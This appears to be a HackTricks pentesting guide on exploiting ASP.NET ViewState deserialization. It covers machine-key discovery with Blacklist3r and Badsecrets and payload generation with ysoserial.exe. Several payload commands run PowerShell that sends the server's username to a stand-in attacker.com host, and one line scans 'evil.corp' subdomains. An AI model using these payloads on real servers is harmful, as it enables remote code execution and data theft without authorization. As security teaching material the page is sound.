Exploiting __VIEWSTATE without knowing the secrets

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

What is ViewState

ViewState serves as the default mechanism in ASP.NET to maintain page and control data across web pages. During the rendering of a page's HTML, the current state of the page and values to be preserved during a postback are serialized into base64-encoded strings. These strings are then placed in hidden ViewState fields.

ViewState information can be characterized by the following properties or their combinations:

  • Base64:

    • This format is utilized when both EnableViewStateMac and ViewStateEncryptionMode attributes are set to false.

  • Base64 + MAC (Message Authentication Code) Enabled:

    • Activation of MAC is achieved by setting the EnableViewStateMac attribute to true. This provides integrity verification for ViewState data.

  • Base64 + Encrypted:

    • Encryption is applied when the ViewStateEncryptionMode attribute is set to true, ensuring the confidentiality of ViewState data.

Test Cases

The image is a table detailing different configurations for ViewState in ASP.NET based on the .NET framework version. Here's a summary of the content:

  1. For any version of .NET, when both MAC and Encryption are disabled, a MachineKey is not required, and thus there's no applicable method to identify it.

  2. For versions below 4.5, if MAC is enabled but Encryption is not, a MachineKey is required. The method to identify the MachineKey is referred to as "Blacklist3r."

  3. For versions below 4.5, regardless of whether MAC is enabled or disabled, if Encryption is enabled, a MachineKey is needed. Identifying the MachineKey is a task for "Blacklist3r - Future Development."

  4. For versions 4.5 and above, all combinations of MAC and Encryption (whether both are true, or one is true and the other is false) necessitate a MachineKey. The MachineKey can be identified using "Blacklist3r."

Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

It is also possible to disable the ViewStateMAC completely by setting the AspNetEnforceViewStateMac registry key to zero in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifying ViewState Attributes

You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BurpSuite. If Mac is not used to protect the parameter you can exploit it using YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Developers can remove ViewState from becoming part of an HTTP Request (the user won't receive this cookie). One may assume that if ViewState is not present, their implementation is secure from any potential vulnerabilities arising with ViewState deserialization. However, that is not the case. If we add ViewState parameter to the request body and send our serialized payload created using ysoserial, we will still be able to achieve code execution as shown in Case 1.

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

In order to enable ViewState MAC for a specific page we need to make following changes on a specific aspx file:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

We can also do it for overall application by setting it on the web.config file as shown below:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
 <machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
 <pages enableViewStateMac="true" />
</system.web>
</configuration>

As the parameter is MAC protected this time to successfully execute the attack we first need the key used.

You can try to use Blacklist3r(AspDotNetWrapper.exe) to find the key used.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets is another tool which can identify known machineKeys. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. For .NET viewstates, there is a "python blacklist3r" utility, which is the quickest way to use it.

It can either be supplied with the viewstate and generator directly:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Or, it can connect directly to the target URL and try to carve the viewstate out of the HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the badsecrets BBOT module can be used:

bbot -f subdomain-enum -m badsecrets -t evil.corp

If you are lucky and the key is found,you can proceed with the attack using YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

In cases where _VIEWSTATEGENERATOR parameter isn't sent by the server you don't need to provide the --generator parameter but these ones:

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

In this it's not known if the parameter is protected with MAC. Then, the value is probably encrypted and you will need the Machine Key to encrypt your payload to exploit the vulnerability.

In this case the Blacklist3r module is under development...

Prior to .NET 4.5, ASP.NET can accept an unencrypted ___VIEWSTATE_parameter from the users even if ViewStateEncryptionMode has been set to Always. ASP.NET only checks the presence of the __VIEWSTATEENCRYPTED parameter in the request. If one removes this parameter, and sends the unencrypted payload, it will still be processed.

Therefore if the attackers find a way to get the Machinekey via another vuln like file traversal, YSoSerial.Net command used in the Case 2, can be used to perform RCE using ViewState deserialization vulnerability.

  • Remove __VIEWSTATEENCRYPTED parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail.

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below.

<httpRuntime targetFramework="4.5" />

Alternatively, this can be done by specifying the below option inside the machineKey paramter of web.config file.

compatibilityMode="Framework45"

As in the previous the value is encrypted. Then, to send a valid payload the attacker need the key.

You can try to use Blacklist3r(AspDotNetWrapper.exe) to find the key being used:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

For a more detailed description for IISDirPath and TargetPagePath refer here

Or, with Badsecrets (with a generator value):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Once a valid Machine key is identified, the next step is to generate a serialized payload using YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

If you have the value of __VIEWSTATEGENERATOR you can try to use the --generator parameter with that value and omit the parameters --path and --apppath

A successful exploitation of the ViewState deserialization vulnerability will lead to an out-of-band request to an attacker-controlled server, which includes the username. This kind of exploit is demonstrated in a proof of concept (PoC) which can be found through a resource titled "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". For further details on how the exploitation process works and how to utilize tools like Blacklist3r for identifying the MachineKey, you can review the provided PoC of Successful Exploitation.

Test Case 6 – ViewStateUserKeys is being used

The ViewStateUserKey property can be used to defend against a CSRF attack. If such a key has been defined in the application and we try to generate the ViewState payload with the methods discussed till now, the payload won’t be processed by the application. You need to use one more parameter in order to create correctly the payload:

--viewstateuserkey="randomstringdefinedintheserver"

Result of a Successful Exploitation

For all the test cases, if the ViewState YSoSerial.Net payload works successfully then the server responds with “500 Internal server error” having response content “The state information is invalid for this page and might be corrupted” and we get the OOB reques.

Check for further information here

References

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated